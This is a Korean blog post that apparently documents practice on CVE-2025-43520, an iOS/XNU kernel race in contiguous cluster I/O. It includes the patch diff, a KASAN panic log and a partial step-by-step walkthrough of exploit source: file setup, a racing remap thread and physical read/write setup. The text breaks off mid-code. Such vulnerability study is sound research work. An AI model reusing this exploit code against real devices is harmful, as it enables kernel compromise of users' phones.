{"id":4135,"date":"2026-05-31T01:53:19","date_gmt":"2026-05-30T16:53:19","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4135"},"modified":"2026-05-31T01:53:21","modified_gmt":"2026-05-30T16:53:21","slug":"%ec%8b%a4%ec%8a%b5-cve-2025-43520","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4135","title":{"rendered":"[\uc2e4\uc2b5] CVE-2025-43520"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h2>Muirey\ub2d8\uc774 \ubd84\uc11d\ud55c \ucde8\uc57d\uc810 \uc124\uba85 \uc694\uc57d<\/h2>\n<h3>Source<\/h3>\n<p><a href=\"https:\/\/gist.github.com\/Muirey03\/8c8370258e32bafaf99e72ec90258c8d\">https:\/\/gist.github.com\/Muirey03\/8c8370258e32bafaf99e72ec90258c8d<\/a><\/p>\n<pre><code class=\"language-bash\">CVE-2025-43520 - DarkSword\n\n1. `cluster_read_ext`\uc640 `cluster_write_ext`\ub294 \uc218\ud589\ud560 IO \uc791\uc5c5\uc744 \uacb0\uc815\ud558\uae30 \uc704\ud574 `cluster_io_type`\uc744 \ud638\ucd9c\ud569\ub2c8\ub2e4.\n2. `cluster_io_type`\uc740 `UPL_QUERY_OBJECT_TYPE`\uacfc \ud568\uaed8 `vm_map_get_upl`\uc744 \ud638\ucd9c\ud558\uc5ec, \uc0ac\uc6a9\uc790 \uc81c\uacf5 \uac00\uc0c1 \uc8fc\uc18c \ubc94\uc704\ub97c \ub4b7\ubc1b\uce68\ud558\ub294 `vm_object`\uc758 \uc720\ud615\uc744 \ucffc\ub9ac\ud569\ub2c8\ub2e4.\n3. \uc774 \uac1d\uccb4\uac00 \ubb3c\ub9ac\uc801\uc73c\ub85c \uc5f0\uc18d\uc801(physically contiguous)\uc774\uba74 `IO_CONTIG`\ub97c \ubc18\ud658\ud558\uace0, \uadf8\ub807\uc9c0 \uc54a\uc73c\uba74 `IO_DIRECT` \ub610\ub294 `IO_COPY`\ub97c \ubc18\ud658\ud569\ub2c8\ub2e4.\n4. `cluster_io_type`\uc774 `IO_CONTIG`\ub97c \ubc18\ud658\ud558\uba74, `cluster_[read|write]_ext`\ub294 \uc5f0\uc18d\ud615 \ubcc0\uccb4\uc778 `cluster_[read|write]_contig`\ub97c \ud638\ucd9c\ud569\ub2c8\ub2e4.\n5. \uadf8 \ud6c4 `cluster_[read|write]_contig`\ub294 `uio`\ub85c\ubd80\ud130 UPL\uc744 \uac00\uc838\uc624\uae30 \uc704\ud574 `vm_map_get_upl`\uc744 \ub450 \ubc88\uc9f8\ub85c \ud638\ucd9c\ud569\ub2c8\ub2e4.\n6. \uc774\uc5b4\uc11c `upl_phys_page`\ub97c \uc0ac\uc6a9\ud558\uc5ec UPL\uc5d0\uc11c \uccab \ubc88\uc9f8 \ubb3c\ub9ac \ud398\uc774\uc9c0\ub97c \uac00\uc838\uc628 \ub4a4 \ubb3c\ub9ac\uc801 \ubcf5\uc0ac(physical copy)\ub97c \uc218\ud589\ud569\ub2c8\ub2e4.\n7. \uc774\ub294 **TOCTOU**(Time-of-Check Time-of-Use) \ucde8\uc57d\uc810\uc785\ub2c8\ub2e4. \uacf5\uaca9\uc790\ub294 `vm_map_get_upl`\uc5d0 \ub300\ud55c \uccab \ubc88\uc9f8 \ud638\ucd9c \uc774\ud6c4 \ud574\ub2f9 \uc601\uc5ed\uc774 \ub354 \uc774\uc0c1 \ubb3c\ub9ac\uc801\uc73c\ub85c \uc5f0\uc18d\ub418\uc9c0 \uc54a\ub3c4\ub85d \uac00\uc0c1 \uc8fc\uc18c \ubc94\uc704\ub97c \uc7ac\ub9e4\ud551(remap)\ud560 \uc218 \uc788\uc73c\uba70, \uc774\ub294 \ubb3c\ub9ac \uba54\ubaa8\ub9ac\uc5d0 \ub300\ud55c **OOBR\/OOBW**(Out-of-Bounds Read\/Write)\ub97c \uc720\ubc1c\ud569\ub2c8\ub2e4.\n\n\ud328\uce58:\n\nindex 806e747ac..c5dee0a7c 100644\n--- a\/bsd\/vfs\/vfs_cluster.c\n+++ b\/bsd\/vfs\/vfs_cluster.c\n@@ -3689,6 +3697,14 @@ next_cwrite:\n        }\n        num_upl++;\n \n+       if (!(upl_flags &amp; UPL_PHYS_CONTIG)) {\n+               \/*\n+                * The created UPL needs to have the UPL_PHYS_CONTIG flag.\n+                *\/\n+               error = EINVAL;\n+               goto wait_for_cwrites;\n+       }\n+\n@@ -6082,6 +6102,14 @@ next_cread:\n        }\n        num_upl++;\n \n+       if (!(upl_flags &amp; UPL_PHYS_CONTIG)) {\n+               \/*\n+                * The created UPL needs to have the UPL_PHYS_CONTIG flag.\n+                *\/\n+               error = EINVAL;\n+               goto wait_for_creads;\n+       }\n+\n<\/code><\/pre>\n<h1>KASAN \ucee4\ub110\uc5d0\uc11c \uc775\uc2a4\ud50c\ub85c\uc787 \uc2e4\ud589\ud574\ubcf4\uae30<\/h1>\n<p>KASAN \ucee4\ub110 \ud658\uacbd\uc5d0\uc11c \uc775\uc2a4\ud50c\ub85c\uc787\ud574\ubcf4\uba74, <code>getsockopt<\/code> \uc5d0\uc11c OOB read\uac00 \ubc1c\uc0dd\ud558\ub294 \uac83\uc744 \uac10\uc9c0\ud55c\ub2e4. \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc \uc911 <code>find_and_corrupt_socket<\/code>  \ud568\uc218\uc758 <code>getsockopt<\/code> \uc5d0\uc11c \ud328\ub2c9\uc774 \ub098\ub294 \uac83\uc73c\ub85c \ucd94\uc815\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-bash\">KCOV: Disabling coverage tracking. System panicking.\nIOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleSynopsysMIPIDSIController\nIOPlatformPanicAction -&gt; AppleS8000MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\npanic(cpu 1 caller 0xfffffff028a0ac98): KASan: invalid 8-byte load from 0xfffffff028e6c000 [GLOBAL_RZ]\n Shadow             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f\n fffffffe051cd7b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n fffffffe051cd7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n fffffffe051cd7d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n fffffffe051cd7e0: 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9\n fffffffe051cd7f0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9\n fffffffe051cd800:[f9]f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9\n fffffffe051cd810: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9\n fffffffe051cd820: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00\n fffffffe051cd830: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00\n fffffffe051cd840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n fffffffe051cd850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n\n @kasan-report.c:114\nDebugger message: panic\nDevice: N71m\nHardware Model: iPhone8,1\nECID: [REDACTED]\nBoot args: -v keepsyms=1 debug=0x2014e launchd_unsecure_cache=1 launchd_missing_exec_no_panic=1 amfi=0xff amfi_allow_any_signature=1 amfi_get_out_of_my_way=1 amfi_allow_research=1 amfi_unrestrict_task_for_pid=1 amfi_unrestricted_local_signing=1 ...\nMemory ID: 0x1\nOS release type: User\nOS version: 19A346\nKernel version: Darwin Kernel Version 21.1.0: Wed Sep 29 23:50:59 PDT 2021; root:xnu_kasan-8019.40.96.0.2~7\/KASAN_ARM64_S8000\nKernelCache UUID: 782FF2B774A11E4A410959C96EB5BD87\nKernel UUID: 7DE98EC0-EB87-3ADF-9511-B7FBDCF8432D\niBoot version: iBoot-7429.42.1\nsecure boot?: NO\nPaniclog version: 13\nKernel slide:      0x000000001fdb8000\nKernel text base:  0xfffffff026dbc000\nmach_absolute_time: 0x1531ac4e9\nEpoch Time:        sec       usec\n  Boot    : 0x69de752e 0x00012cf6\n  Sleep   : 0x00000000 0x00000000\n  Wake    : 0x00000000 0x00000000\n  Calendar: 0x69de75f8 0x000214b9\n\nZone info:\nForeign   : 0xfffffff0e25ec000 - 0xfffffff0e2600000\nNative    : 0xfffffff0e4000000 - 0xfffffff6e4000000\nReadonly  : 0 - 0\nMetadata  : 0xfffffff7ab774000 - 0xfffffff7acf7c000\nBitmaps   : 0xfffffff7acf7c000 - 0xfffffff7ad818000\nCORE 0: PC=0xfffffff027879f64, LR=0xfffffff02787a054, FP=0xfffffff0172efc00\nCORE 1 is the one that panicked. Check the full backtrace for details.\nPanicked task 0xfffffff288b0a8c0: 1808 pages, 3 threads: pid 362: ds15\nPanicked thread: 0xfffffff28a065cf0, backtrace: 0xfffffff01834ef60, tid: 5608\n                  lr: 0xfffffff0274cb8a4  fp: 0xfffffff01834eff0    \/\/ _handle_debugger_trap+0x460\n                  lr: 0xfffffff0278da25c  fp: 0xfffffff01834f010    \/\/ _kdp_trap+0x20\n                  lr: 0xfffffff0278b511c  fp: 0xfffffff01834f170    \/\/ _sleh_synchronous+0xd6c\n                  lr: 0xfffffff0278b15b4  fp: 0xfffffff01834f180    \/\/ _fleh_synchronous+0x28\n                  lr: 0xfffffff0274cb07c  fp: 0xfffffff01834f530    \/\/ _DebuggerTrapWithState+0x48\n                  lr: 0xfffffff0274cbe98  fp: 0xfffffff01834f5a0    \/\/ _panic_trap_to_debugger+0x278\n                  lr: 0xfffffff0289f346c  fp: 0xfffffff01834f5c0    \/\/ _panic+0x30\n                  lr: 0xfffffff028a0ac98  fp: 0xfffffff01834f5f0    \/\/ _kasan_report_internal.cold.1+0x34\n                  lr: 0xfffffff0289ea790  fp: 0xfffffff01834f690    \/\/ _kasan_report_internal+0x264\n                  lr: 0xfffffff0289ea300  fp: 0xfffffff01834f6c0    \/\/ _kasan_crash_report+0x38\n                  lr: 0xfffffff0289ea528  fp: 0xfffffff01834f8f0    \/\/ _kasan_violation+0x21c\n                  lr: 0xfffffff027896c78  fp: 0xfffffff01834f9e0    \/\/ _copy_validate+0x288\n                  lr: 0xfffffff02789741c  fp: 0xfffffff01834fa10    \/\/ _copyout+0x30\n                  lr: 0xfffffff0283c9ba4  fp: 0xfffffff01834fbd0    \/\/ _sogetoptlock+0x49c\n                  lr: 0xfffffff0283eb288  fp: 0xfffffff01834fd20    \/\/ _getsockopt+0x328\n                  lr: 0xfffffff028672c88  fp: 0xfffffff01834fdb0    \/\/ _unix_syscall+0x69c\n                  lr: 0xfffffff0278b4ad0  fp: 0xfffffff01834ff10    \/\/ _sleh_synchronous+0x720\n                  lr: 0xfffffff0278b15b4  fp: 0xfffffff01834ff20    \/\/ _fleh_synchronous+0x28\n\n** Stackshot Succeeded ** Bytes Traced 184793 (Uncompressed 446256) **\nIOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleSynopsysMIPIDSIController\nIOPlatformPanicAction -&gt; AppleS8000MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleSynopsysMIPIDSIController\nIOPlatformPanicAction -&gt; AppleS8000MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\n\nPlease go to https:\/\/panic.apple.com to report this panic\nWaiting for hardware shared memory debugger, handshake structure is at virt: 0xfffffff0063b4000, phys 0x8141c0000\n<\/code><\/pre>\n<h1>\uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc \uc0b4\ud3b4\ubcf4\uae30<\/h1>\n<h2>init_globals<\/h2>\n<pre><code class=\"language-objectivec\">int kexploit_opa334(void) {\n    \/\/ to support various iOS 17 - 26 versions\n    offsets_init();\n    \n    init_globals();\n    ...\n}\n<\/code><\/pre>\n<pre><code class=\"language-objectivec\">#define GETSOCKOPT_READ_LEN 32\n#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2)\n\nNSMutableArray&lt;NSNumber *&gt; *socketPorts;\nNSMutableArray&lt;NSNumber *&gt; *socketPcbIds;\nvoid *getsockoptReadData = NULL;\nNSMutableDictionary&lt;NSNumber *, id&gt; *gMlockDict;\nvoid *default_file_content;\nuint64_t randomMarker;\nuint64_t wiredPageMarker;\n\n...\n\nvoid init_globals(void) {\n    socketPorts = [NSMutableArray new];\n    socketPcbIds = [NSMutableArray new];\n    getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN);\n    gMlockDict = [NSMutableDictionary new];\n    default_file_content = calloc(1, TARGET_FILE_SIZE);\n    randomMarker = (uint64_t)0x1337133845464748;\n    wiredPageMarker = (uint64_t)arc4random() &lt;&lt; 32 | arc4random();\n}\n<\/code><\/pre>\n<p>\uc804\uc5ed\ubcc0\uc218\ub97c \uc120\uc5b8\ud558\uace0 NSMutableArray, NSMutableDictionry \ub4f1\ub4f1 new \uba54\uc18c\ub4dc\ub97c \ud1b5\ud574 \uac1d\uccb4\ub97c \ud560\ub2f9\ud574\uc900\ub2e4.<\/p>\n<p><code>getsockoptReadData<\/code>\ub294 32\ubc14\uc774\ud2b8, <code>default_file_content<\/code> \ub294 2\ud398\uc774\uc9c0\uc758 \ud06c\uae30\uc778 0x8000\ub9cc\ud07c \ud560\ub2f9\uc2dc\ud0a8\ub2e4.<\/p>\n<p><code>randomMarker<\/code>\uc758 \uacbd\uc6b0, 0x1337133845464748\uac12\uc774\ub77c\ub294 \uc2dc\uadf8\ub2c8\ucc98\ub97c \uc9c0\uc815\ud574\uc8fc\uace0,\n<code>wiredPageMarker<\/code>\ub294 <code>pe_v2<\/code>\uc5d0\uc11c \ub2e4\ub8e8\uae30 \ub584\ubb38\uc5d0, \uc5ec\uae30\uc120 \uc2e0\uacbd\uc4f0\uc9c0 \uc54a\uaca0\ub2e4.<\/p>\n<h2>pe_init (part 1)<\/h2>\n<pre><code class=\"language-objectivec\">int kexploit_opa334(void) {\n    ...\n        printf(&quot;[+] Running on non-A18\/M4 device\\n&quot;);\n        pe_init();\n    ...\n<\/code><\/pre>\n<pre><code class=\"language-objectivec\">void pe_init(void) {\n    init_target_file();\n\n    ...\n}\n<\/code><\/pre>\n<h3>init_target_file \/ create_target_file<\/h3>\n<pre><code class=\"language-objectivec\">#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2)\n\nvoid create_target_file(const char *path) {\n    FILE *f = fopen(path, &quot;w&quot;);\n    fwrite(default_file_content, 1, TARGET_FILE_SIZE, f);\n    fclose(f);\n}\n\nvoid init_target_file() {\n    char *read_file_path = calloc(1, 1024);\n    char *write_file_path = calloc(1, 1024);\n    confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024);\n    confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024);\n\n    char read_file_name[100];\n    char write_file_name[100];\n    snprintf(read_file_name, 100, &quot;\/%u&quot;, arc4random());\n    snprintf(write_file_name, 100, &quot;\/%u&quot;, arc4random());\n\n    strcat(read_file_path, read_file_name);\n    strcat(write_file_path, write_file_name);\n\n    create_target_file(read_file_path);\n    create_target_file(write_file_path);\n\n    readFd = open(read_file_path, O_RDWR);\n    writeFd = open(write_file_path, O_RDWR);\n\n    printf(&quot;[+] readFd: %d\\n&quot;, readFd);\n    printf(&quot;[+] writeFd: %d\\n&quot;, writeFd);\n\n    remove(read_file_path);\n    remove(write_file_path);\n    fcntl(readFd, F_NOCACHE, 1);\n    fcntl(writeFd, F_NOCACHE, 1);\n}\n<\/code><\/pre>\n<p><code>read_file_path<\/code>, <code>write_file_path<\/code>\ub97c \uc0b4\ud3b4\ubcf4\uba74,<code>confstr<\/code> \ud568\uc218\uc5d0 <code>_CS_DARWIN_USER_TEMP_DIR<\/code> \uc778\uc790\ub97c \ub118\uaca8, \ud604\uc7ac \uc0ac\uc6a9\uc790 \uc804\uc6a9 \uc784\uc2dc \ub514\ub809\ud1a0\ub9ac \uacbd\ub85c\ub97c \uac00\uc838\uc640 \uc9c0\uc815\ud574\uc900\ub2e4.<\/p>\n<p>iOS \uc571\uc5d0\uc11c \uc2e4\ud589\ud560 \uacbd\uc6b0, \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code>read_file_path = \/private\/var\/mobile\/Containers\/Data\/Application\/C6C908E1-BF1D-4B29-AD91-D8D658783931\/tmp\/\nwrite_file_path = \/private\/var\/mobile\/Containers\/Data\/Application\/C6C908E1-BF1D-4B29-AD91-D8D658783931\/tmp\/\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uc73c\ub85c, <code>arc4random()<\/code> \ud568\uc218\ub97c \uc774\uc6a9\ud574 \ub79c\ub364 \ud30c\uc77c\uba85\uc744 2\uac1c \uc0dd\uc131\ud574 <code>read_file_name<\/code>, <code>write_file_path<\/code>\uc5d0 \uac01\uac01 \uc9c0\uc815\ud574\uc900\ub2e4. \ub9c8\ucc2c\uac00\uc9c0\ub85c \uc2e4\ud589\uc2dc \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code>read_file_name = \/929420839\nwrite_file_name = \/33692626\n<\/code><\/pre>\n<p><code>strcat<\/code>\uc73c\ub85c \ud30c\uc77c \uacbd\ub85c\uc640 \ud30c\uc77c\uba85\uc744 \ud569\uce5c\ub2e4.<\/p>\n<pre><code>read_file_path = \/private\/var\/mobile\/Containers\/Data\/Application\/C6C908E1-BF1D-4B29-AD91-D8D658783931\/tmp\/\/929420839\nwrite_file_path = \/private\/var\/mobile\/Containers\/Data\/Application\/C6C908E1-BF1D-4B29-AD91-D8D658783931\/tmp\/\/33692626\n<\/code><\/pre>\n<p><code>create_target_file<\/code>\uc5d0\uc11c <code>fopen<\/code>\uc73c\ub85c \ud569\uccd0\uc9c4 \ud30c\uc77c\uacbd\ub85c\uc5d0 \uac01\uac01 \ud30c\uc77c 2\uac1c\ub97c  \uc0dd\uc131\ud558\uace0,\n<code>open<\/code>\uc73c\ub85c R\/W\ubaa8\ub4dc\ub85c \uc5f0 2\uac1c\uc758 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c \ud68d\ub4dd\ud558\uc5ec <code>readFd<\/code>, <code>writeFd<\/code> \ub514\uc2a4\ud06c\ub9bd\ud130\uac12\uc744 \uc9c0\uc815\ud574\uc900\ub2e4.<\/p>\n<p>\uc774\ud6c4\ub85c\ub294 \ud30c\uc77c 2\uac1c\ub97c \uc0ad\uc81c\ud558\uace0, <code>fcntl<\/code>\ub85c \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\uc758 \uc18d\uc131\uc744 <code>F_NOCACHE<\/code> \ud50c\ub798\uadf8\ub97c \ud65c\uc131\ud654\ud574\uc900\ub2e4.<\/p>\n<p><code>fcntl<\/code>\uc740 \ucee4\ub110\uc758 <code>sys_fcntl_nocancel<\/code> \uc5d0\uc11c \ucc98\ub9ac\ud558\uba70, <code>fileproc<\/code>\uc5d0\uc11c \ucc28\ub840\ub85c \uc811\uadfc\ud558\uc5ec <code>fg_flag<\/code> \ud544\ub4dc\uc5d0 <code>FNOCACHE<\/code>\ub97c \uc138\ud2b8\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/bsd\/sys\/fcntl.h\n#ifdef KERNEL\n#define FNOCACHE        0x00040000      \/* fcntl(F_NOCACHE, 1) *\/\n#define FNORDAHEAD      0x00080000      \/* fcntl(F_RDAHEAD, 0) *\/\n#endif\n\n\/\/ xnu-8019.41.5\/bsd\/kern\/kern_descrip.c\nint\nsys_fcntl_nocancel(proc_t p, struct fcntl_nocancel_args *uap, int32_t *retval)\n{\n        switch (cmd) {\n        case F_NOCACHE:\n                if (fp-&gt;f_type != DTYPE_VNODE) {\n                        error = EBADF;\n                        goto out;\n                }\n                if (uap-&gt;arg) {\n                        os_atomic_or(&amp;fp-&gt;fp_glob-&gt;fg_flag, FNOCACHE, relaxed);\n                } else {\n                        os_atomic_andnot(&amp;fp-&gt;fp_glob-&gt;fg_flag, FNOCACHE, relaxed);\n                }\n                goto out;\n        }\nout:\n        return sys_fcntl_out(p, fd, fp, error);\n}\n\nstatic int\nsys_fcntl_out(proc_t p, int fd, struct fileproc *fp, int error)\n{\n        fp_drop(p, fd, fp, 1);  \/\/ Drop the I\/O reference previously taken by calling fp_lookup\n        proc_fdunlock(p);               \/\/ Unlock the lock previously locked by a call to proc_fdlock()\n        return error;\n}\n<\/code><\/pre>\n<p>\ub098\uc911\uc5d0 \ubcf4\uba74 \uc54c\uaca0\uc9c0\ub9cc,\n\ucee4\ub110\uc5d0\uc11c <code>vn_read<\/code>, <code>vn_write<\/code>\ub97c \uc218\ud589\ud560\ub54c <code>fg_flag<\/code>\ud544\ub4dc\uc5d0 <code>FNOCACHE<\/code>\uac00 \uc138\ud2b8\ub418\uc788\ub2e4\uba74,<br>\n<code>ioflag<\/code>\uc5d0 <code>IO_NOCACHE<\/code> \ub97c \uc138\ud2b8\uc2dc\ucf1c\uc900\ub2e4\u2026<\/p>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/bsd\/vfs\/vfs_vnops.c\n\/*\n * File table vnode read routine.\n *\/\nstatic int\nvn_read(struct fileproc *fp, struct uio *uio, int flags, vfs_context_t ctx)\n{\n        int ioflag;\n        ...\n        if ((fp-&gt;fp_glob-&gt;fg_flag &amp; FNOCACHE) || vnode_isnocache(vp)) {\n                ioflag |= IO_NOCACHE;\n        }\n        ...\n}\n\n\/*\n * File table vnode write routine.\n *\/\nstatic int\nvn_write(struct fileproc *fp, struct uio *uio, int flags, vfs_context_t ctx)\n{\n        int error, ioflag;\n        ...\n        if ((fp-&gt;fp_glob-&gt;fg_flag &amp; FNOCACHE) || vnode_isnocache(vp)) {\n                ioflag |= IO_NOCACHE;\n        }\n        ...\n}\n<\/code><\/pre>\n<p>init_file_target \ud568\uc218\ub97c \uac04\ub2e8\ud558\uac8c \uadf8\ub9bc\uc73c\ub85c \ub098\ud0c0\ub0b4\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-04_21.10.43.excalidraw.png\" alt=\"Drawing 2026-05-04 21.10.43.excalidraw.png\"><\/p>\n<h2>pe_init (part 2)<\/h2>\n<p>\uc2e4\ud589 \ud30c\uc77c \uc774\ub984\uc774 \ud3ec\ud568\ub41c \uc804\uccb4 \uc2e4\ud589\uacbd\ub85c\ub97c \uac00\uc838\uc624\uace0,\n\uc2e4\ud589 \ud30c\uc77c \uc774\ub984\ub9cc\uc744 \ucd94\ucd9c\ud574 <code>executableName<\/code>\uc5d0 \uc9c0\uc815\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">char executablePath[PATH_MAX];\nconst char *executableName;\n\nvoid pe_init(void) {\n                ...\n    if (!executableName) {\n        uint32_t sz = PATH_MAX;\n        _NSGetExecutablePath(executablePath, &amp;sz);\n        executableName = strrchr(executablePath, '\/');\n        if (executableName) {\n            executableName++;\n        } else {\n            executableName = executablePath;\n        }\n    }\n    ...\n}\n<\/code><\/pre>\n<h2>pe_init (part 3)<\/h2>\n<p>\ube44\ub3d9\uae30\uc801\uc73c\ub85c \uc218\ud589\ud560 \uc218 \uc788\uac8c\ub054 \uc4f0\ub808\ub4dc\ub97c \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<p><code>freeThreadStart<\/code>, <code>goSync<\/code>,  <code>raceSync<\/code> \uac00 0\uc774 \uc544\ub2d0\ub54c\uc5d0\ub9cc <code>mach_vm_map<\/code>\uc744 \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<p><code>VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE<\/code> \uc635\uc158\uc744 \ud1b5\ud574 \uba54\ubaa8\ub9ac\ub97c \ub9f5\ud551\ud558\ub294\ub370,\n<code>VM_FLAGS_FIXED<\/code>\ub294 \u201c\uc815\ud655\ud788 \uc9c0\uc815\ud55c \ud2b9\uc815 \uc8fc\uc18c\uc5d0 \ub9e4\ud551\ud558\ub77c\u201d,\u00a0\n<code>VM_FLAGS_OVERWRITE<\/code>\ub294 &quot;\ud574\ub2f9 \uc8fc\uc18c\uc5d0 \uc774\ubbf8 \ub9e4\ud551\uc774 \uc788\uc73c\uba74 <strong>\uae30\uc874 \ub9e4\ud551\uc744 \uc81c\uac70\ud558\uace0 \ub36e\uc5b4\uc368\ub77c<\/strong>&quot;\ub294 \uc758\ubbf8\uac00 \ub2f4\uaca8\uc788\ub2e4.\n<code>freeTarget<\/code>\uc744 \uae30\uc900\uc73c\ub85c \uace0\uc815\ub41c \ud2b9\uc815 \uc8fc\uc18c\uc5d0 \ub9f5\ud551\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">volatile uint8_t goSync = 0;\nvolatile uint8_t raceSync = 0;\nvolatile uint8_t freeThreadStart = 0;\nvolatile mach_vm_address_t freeTarget = 0;\nvolatile mach_vm_size_t freeTargetSize = 0;\nvolatile mem_entry_name_port_t targetObject = 0;\nvolatile memory_object_offset_t targetObjectOffset = 0;\n\nvoid *free_thread(void *arg) {\n    while (freeThreadStart == 0)\n        ;\n\n    while (goSync == 0)\n        ;\n\n    while (goSync != 0) {\n        while (raceSync == 0)\n            ;\n\n        kern_return_t kr =\n            mach_vm_map(mach_task_self(), &amp;freeTarget, freeTargetSize, 0,\n                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, targetObject,\n                        targetObjectOffset, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT,\n                        VM_INHERIT_NONE);\n\n        if (kr != KERN_SUCCESS) {\n            printf(&quot;[-] mach_vm_map failed !!!\\n&quot;);\n            printf(&quot;[+] freeTarget: %#llx\\n&quot;, freeTarget);\n            printf(&quot;[+] targetObject: %#x\\n&quot;, targetObject);\n            FAILURE(0);\n        }\n\n        raceSync = 0;\n    }\n\n    return NULL;\n}\n\nvoid pe_init(void) {\n    ...\n    pthread_attr_t pattr;\n    pthread_attr_init(&amp;pattr);\n    pthread_attr_set_qos_class_np(&amp;pattr, QOS_CLASS_USER_INITIATED, 0);\n    pthread_create(&amp;freeThread, &amp;pattr, free_thread, NULL);\n}\n<\/code><\/pre>\n<h2>pe_v1 (part 1)<\/h2>\n<pre><code class=\"language-c\">void pe_v1(void) {\n    uint64_t totalSearchMappingPagesNum = (0x100 * 0x10);\n    uint64_t searchMappingSize = 0x2000 * PAGE_SIZE);\n    uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE;\n    uint64_t searchMappingNum = totalSearchMappingSize \/ searchMappingSize;\n\n    printf(&quot;[i] totalSearchMappingPagesNum: %#llx\\n&quot;,\n           totalSearchMappingPagesNum);\n    printf(&quot;[i] searchMappingSize: %#llx\\n&quot;, searchMappingSize);\n    printf(&quot;[i] totalSearchMappingSize: %#llx\\n&quot;, totalSearchMappingSize);\n    printf(&quot;[i] searchMappingNum: %#llx\\n&quot;, searchMappingNum);\n    ...\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">[i] totalSearchMappingPagesNum: 0x10000\n[i] searchMappingSize: 0x8000000\n[i] totalSearchMappingSize: 0x40000000\n[i] searchMappingNum: 0x8\n<\/code><\/pre>\n<h2>pe_v1 (part 2)<\/h2>\n<pre><code class=\"language-c\">#define OOB_SIZE 0xf00\n\nvoid pe_v1(void) {\n                ...\n    void *readBuffer = calloc(1, OOB_SIZE);\n    void *writeBuffer = calloc(1, OOB_SIZE);\n    initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);\n<\/code><\/pre>\n<h3>initialize_physical_read_write (part 1)<\/h3>\n<p><code>contiguous_mapping_size = (OOB_PAGES_NUM * PAGE_SIZE) = (2 * 0x4000) = 0x8000<\/code><\/p>\n<pre><code class=\"language-c\">mach_port_t pcObject = MACH_PORT_NULL;\nmach_vm_address_t pcAddress = 0;\nmach_vm_size_t pcSize;\n\nuint64_t randomMarker;\nvolatile mach_vm_address_t freeTarget = 0;\nvolatile mach_vm_size_t freeTargetSize = 0;\nvolatile uint8_t goSync = 0;\nvolatile uint8_t freeThreadStart = 0;\n\nvoid initialize_physical_read_write(uint64_t contiguous_mapping_size) {\n    pcSize = contiguous_mapping_size;\n    create_physically_contiguous_mapping(&amp;pcObject, &amp;pcAddress, pcSize);\n    ...\n}\n<\/code><\/pre>\n<h3>create_physically_contiguous_mapping<\/h3>\n<p>(<code>kIOSurfaceAllocSize<\/code>\uc758 \uacbd\uc6b0 0x8000\uc774\ub2e4.<\/p>\n<p><code>size<\/code> = <code>pcSize<\/code> = <code>contiguous_mapping_size<\/code> = <code>OOB_PAGES_NUM<\/code> * <code>PAGE_SIZE<\/code> )<\/p>\n<pre><code class=\"language-c\">void create_physically_contiguous_mapping(mach_port_t *port,\n                                          mach_vm_address_t *address,\n                                          mach_vm_size_t size) {\n    NSDictionary *params = @{\n        (__bridge id)kIOSurfaceAllocSize : @(size),\n        @&quot;IOSurfaceMemoryRegion&quot; : 